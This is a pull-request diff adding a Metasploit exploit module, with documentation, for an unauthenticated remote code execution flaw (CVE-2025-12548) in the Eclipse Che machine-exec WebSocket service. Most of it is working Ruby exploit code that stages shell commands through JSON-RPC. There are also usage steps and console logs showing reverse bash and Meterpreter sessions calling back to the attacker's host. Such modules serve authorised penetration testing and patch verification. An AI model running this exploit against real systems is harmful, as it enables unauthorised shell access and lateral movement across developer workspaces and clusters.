Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,119 @@
## Vulnerable Application

This module exploits an unauthenticated remote code execution vulnerability (CVE-2025-12548) in the Eclipse Che
machine-exec service. The machine-exec service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer
workspace containers, accepts WebSocket connections without authentication.

An attacker can connect to the machine-exec service and execute arbitrary commands via JSON-RPC over WebSocket.
This allows lateral movement between workspaces and potential cluster compromise.

Affected versions: Red Hat OpenShift Dev Spaces prior to patches RHSA-2025:22620, RHSA-2025:22652, RHSA-2025:22623.

## Verification Steps

1. Start `msfconsole`
2. `use exploit/linux/http/eclipse_che_machine_exec_rce`
3. `set RHOSTS <target>`
4. `set LHOST <your_ip>`
5. `check`
6. `exploit`
7. Verify you get a shell session

## Options

### TARGETURI
Base path to the machine-exec service. Default: `/`

### WS_TIMEOUT
Timeout for WebSocket operations in seconds. Default: `10`

## Scenarios

### Red Hat OpenShift DevSpaces (cmd/unix/reverse_bash)

```
msf6 > use exploit/linux/http/eclipse_che_machine_exec_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > check
[+] 192.168.1.10:3333 - The target is vulnerable. machine-exec service accepts unauthenticated connections
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. machine-exec service accepts unauthenticated connections
[*] Connecting to machine-exec service...
[+] Connected to machine-exec service
[*] Staging payload via JSON-RPC create method...
[+] Command staged with process ID: 2
[*] Triggering execution via /attach/2...
[+] Payload triggered!
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:47578) at 2025-12-30 19:46:55 +0000

whoami
user
```

### Red Hat OpenShift DevSpaces (linux/x64/meterpreter/reverse_tcp)

```
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set TARGET 1
TARGET => 1
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf6 exploit(linux/http/eclipse_che_machine_exec_rce) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. machine-exec service accepts unauthenticated connections
[*] Connecting to machine-exec service...
[+] Connected to machine-exec service
[*] Staging payload via JSON-RPC create method...
[+] Command staged with process ID: 1
[*] Triggering execution via /attach/1...
[+] Payload triggered!
[*] Sending stage (3090404 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:41234) at 2025-12-31 15:21:40 +0000

meterpreter > sysinfo
Computer : 10.244.0.15
OS : Red Hat Enterprise Linux 9 (Linux 5.14.0-570.45.1.el9_6.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: user
meterpreter > pwd
/projects
meterpreter > shell
Process 672 created.
Channel 1 created.
cat /etc/os-release
NAME="Red Hat Enterprise Linux"
VERSION="9.6 (Plow)"
ID="rhel"
ID_LIKE="fedora"
VERSION_ID="9.6"
PLATFORM_ID="platform:el9"
PRETTY_NAME="Red Hat Enterprise Linux 9.6 (Plow)"
ANSI_COLOR="0;31"
LOGO="fedora-logo-icon"
CPE_NAME="cpe:/o:redhat:enterprise_linux:9::baseos"
HOME_URL="https://www.redhat.com/"
DOCUMENTATION_URL="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9"
BUG_REPORT_URL="https://issues.redhat.com/"

REDHAT_BUGZILLA_PRODUCT="Red Hat Enterprise Linux 9"
REDHAT_BUGZILLA_PRODUCT_VERSION=9.6
REDHAT_SUPPORT_PRODUCT="Red Hat Enterprise Linux"
REDHAT_SUPPORT_PRODUCT_VERSION="9.6"
uname -a
Linux workspace1a2b3c4d5e6f7890-abc123def4-xyzpq 5.14.0-570.45.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Sat Sep 13 01:15:12 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
exit
meterpreter >
```
269 changes: 269 additions & 0 deletions modules/exploits/linux/http/eclipse_che_machine_exec_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,269 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Rex::Proto::Http::WebSocket
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Eclipse Che machine-exec Unauthenticated RCE',
'Description' => %q{
This module exploits an unauthenticated remote code execution vulnerability
in the Eclipse Che machine-exec service (CVE-2025-12548). The machine-exec
service, exposed on port 3333 within Red Hat OpenShift DevSpaces developer
workspace containers, accepts WebSocket connections without authentication.

An attacker can connect to the machine-exec service and execute arbitrary
commands via JSON-RPC over WebSocket. This allows lateral movement between
workspaces and potential cluster compromise.

The vulnerability affects Red Hat OpenShift DevSpaces environments where
the machine-exec service is network-accessible.
},
'License' => MSF_LICENSE,
'Author' => [
'Richard Leach', # Vulnerability discovery
'Greg Durys <[email protected]>' # PoC and Metasploit module
],
'References' => [
['CVE', '2025-12548'],
['URL', 'https://access.redhat.com/security/cve/cve-2025-12548'],
['URL', 'https://github.com/eclipse-che/che-machine-exec']
],
'DisclosureDate' => '2025-12-01',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64, ARCH_AARCH64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper (x64)',
{
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper (aarch64)',
{
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/aarch64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3333,
'WfsDelay' => 10
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path to machine-exec service', '/']),
OptInt.new('WS_TIMEOUT', [true, 'Timeout for WebSocket operations (seconds)', 10])
])
end

# Safely close a WebSocket connection, ignoring any errors
def safe_wsclose(wsock)
wsock&.wsclose
rescue StandardError
nil
end

# Connect to WebSocket and return socket plus any leftover data from HTTP response.
# The machine-exec server sends the hello message immediately after the upgrade,
# which gets absorbed into the HTTP response body during parsing.
def connect_ws_with_leftover(uri)
ws_key = Rex::Text.encode_base64(SecureRandom.bytes(16))

http_client = connect({ 'uri' => uri })
raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Failed to connect') if http_client.nil?

req = http_client.request_raw({
'uri' => uri,
'headers' => {
'Connection' => 'Upgrade',
'Upgrade' => 'websocket',
'Sec-WebSocket-Version' => '13',
'Sec-WebSocket-Key' => ws_key
}
})

http_client.send_request(req)
res = http_client.read_response(datastore['WS_TIMEOUT'])

unless res&.code == 101
http_client.close
raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res)
end

# WebSocket GUID (see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept)
accept_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11'))
unless res.headers['Sec-WebSocket-Accept'] == accept_key
http_client.close
raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res)
end

socket = http_client.conn
socket.extend(Rex::Proto::Http::WebSocket::Interface)

# Return any data absorbed into the HTTP response body (the hello frame)
[socket, res.body.to_s]
end

# Parse a WebSocket frame from raw data
def parse_ws_frame(data)
return nil if data.nil? || data.empty?

frame = Rex::Proto::Http::WebSocket::Frame.new
frame.read(data)
frame.unmask! if frame.header.masked == 1
frame.payload_data.to_s
end

def check
begin
wsock, leftover = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
return CheckCode::Unknown("WebSocket connection failed: #{e.message}")
end

data = parse_ws_frame(leftover)
if data.nil?
safe_wsclose(wsock)
return CheckCode::Unknown('No hello message received from service')
end

begin
json = JSON.parse(data)
if json['method'] == 'connected' && json.dig('params', 'tunnel')
safe_wsclose(wsock)
return CheckCode::Vulnerable('machine-exec service accepts unauthenticated connections')
end
rescue JSON::ParserError
nil
end

safe_wsclose(wsock)
CheckCode::Safe('Service did not respond as expected')
end

def exploit
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
print_status('Connecting to machine-exec service...')

begin
wsock, leftover = connect_ws_with_leftover(normalize_uri(target_uri.path, 'connect'))
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Failure::Unreachable, "WebSocket connection failed: #{e.message}")
end

print_good('Connected to machine-exec service')

data = parse_ws_frame(leftover)
if data.nil?
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, 'No hello message received')
end
vprint_status("Received hello: #{data}")

print_status('Staging payload via JSON-RPC create method...')

create_request = {
'jsonrpc' => '2.0',
'method' => 'create',
'params' => {
'cmd' => ['sh', '-c', cmd],
'type' => 'process'
},
'id' => 1
}

wsock.put_wstext(create_request.to_json)

frame = begin
::Timeout.timeout(datastore['WS_TIMEOUT']) { wsock.get_wsframe }
rescue ::Timeout::Error
nil
end

if frame.nil?
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, 'No response to create request')
end

frame.unmask! if frame.header.masked == 1
response_data = frame.payload_data.to_s

begin
response = JSON.parse(response_data)
process_id = response['result']
if process_id.nil?
error_msg = response.dig('error', 'message') || 'Unknown error'
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, "Failed to stage command: #{error_msg}")
end
print_good("Command staged with process ID: #{process_id}")
rescue JSON::ParserError
safe_wsclose(wsock)
fail_with(Failure::UnexpectedReply, 'Invalid JSON response')
end

safe_wsclose(wsock)

print_status("Triggering execution via /attach/#{process_id}...")

begin
wsock_attach = connect_ws({
'uri' => normalize_uri(target_uri.path, 'attach', process_id.to_s)
})
print_good('Payload triggered!')
rescue Rex::Proto::Http::WebSocket::ConnectionError => e
fail_with(Failure::UnexpectedReply, "Failed to trigger execution: #{e.message}")
end

safe_wsclose(wsock_attach)
end
end